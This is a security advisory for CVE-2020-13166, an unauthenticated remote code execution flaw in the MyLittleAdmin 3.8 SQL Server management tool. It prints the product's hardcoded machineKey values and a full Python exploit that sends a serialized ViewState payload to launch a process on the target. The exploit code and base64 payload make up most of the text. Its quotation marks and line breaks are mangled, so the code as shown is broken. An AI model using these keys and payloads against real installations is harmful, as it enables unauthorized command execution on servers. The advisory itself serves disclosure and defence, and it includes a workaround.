Headline
CVE-2020-13166: SSD Advisory - MyLittleAdmin PreAuth RCE - SSD Secure Disclosure
The management tool in MyLittleAdmin 3.8 allows remote attackers to execute arbitrary code because machineKey is hardcoded (the same for all customers’ installations) in web.config, and can be used to send serialized ASP code.
TL;DR
Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability.
Vulnerability Summary
MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.
CVE
CVE-2020-13166
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.
Vendor Response
Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.
Workaround
The following workaround was provided to us by Tim Aplin from @Umbrellar:
Go into IIS > Machine Keys > Generate new Key > Apply Run: IISreset
Vulnerability Details
MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config
An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.
Vulnerable Key
The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:
<machineKey validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2 C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33 E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />
Demo
Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:
Exploit
The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine
#!/usr/bin/python3 import requests import sys import logging
from bs4 import BeautifulSoup
These two lines enable debugging at httplib level (requests->urllib3->http.client)
You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
The only thing missing will be the response.body which is not logged.
try: import http.client as http_client except ImportError: # Python 2 import httplib as http_client
http_client.HTTPConnection.debuglevel = 0
You must initialize logging, otherwise you’ll not see debug output.
logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger(“requests.packages.urllib3”) requests_log.setLevel(logging.DEBUG) requests_log.propagate = True
print(“Connecting to remote server and collecting ASP state and event values”) r = requests.get(‘http://10.0.0.38’)
soup = BeautifulSoup(r.text, ‘html.parser’)
print(soup.prettify())
__VIEWSTATEGENERATOR = “” __EVENTVALIDATION = “” ServerName = “”
for input in soup.find_all(‘input’): if input[‘id’] == '__VIEWSTATEGENERATOR’: __VIEWSTATEGENERATOR = input[‘value’] if input[‘id’] == '__EVENTVALIDATION’: __EVENTVALIDATION = input[‘value’] if input[‘name’] == 'fServerName$cControl’: ServerName = input[‘value’]
print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))
shellcode = “/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g==”
payload = { ‘__VIEWSTATE’ : shellcode, ‘__VIEWSTATEGENERATOR’ : __VIEWSTATEGENERATOR, ‘__EVENTVALIDATION’ : __EVENTVALIDATION, ‘fServerName$cControl’ : ServerName, ‘txtDatabase’ : '’, ‘listAuthentication’ : 'sql’, ‘txtLogin’ : '’, ‘txtPassword’ : '’, ‘listProtocol’ : '’, ‘txtPacketSize’ : '4096’, ‘txtConnectionTimeOut’ : '15’, ‘txtExecutionTimeOut’ : '0’, 'btnConnect’: ‘Connect’ }
headers = { 'Content-Type’: 'application/x-www-form-urlencoded’, 'Cookie’: 'Skin=default; CultureName=en-US’, 'Accept’: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9’, 'Origin’: 'http://10.0.0.38’, 'Referer’: 'http://10.0.0.38/’, 'User-Agent’: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36’, }
print(“Sending shellcode request to server”) r = requests.post("http://10.0.0.38", data=payload, headers=headers)
if “An error occured.” in r.text: print(“Check Task Manager for win32calc.exe”) else: print("Failed to launch shellcode: {}".format(r.text))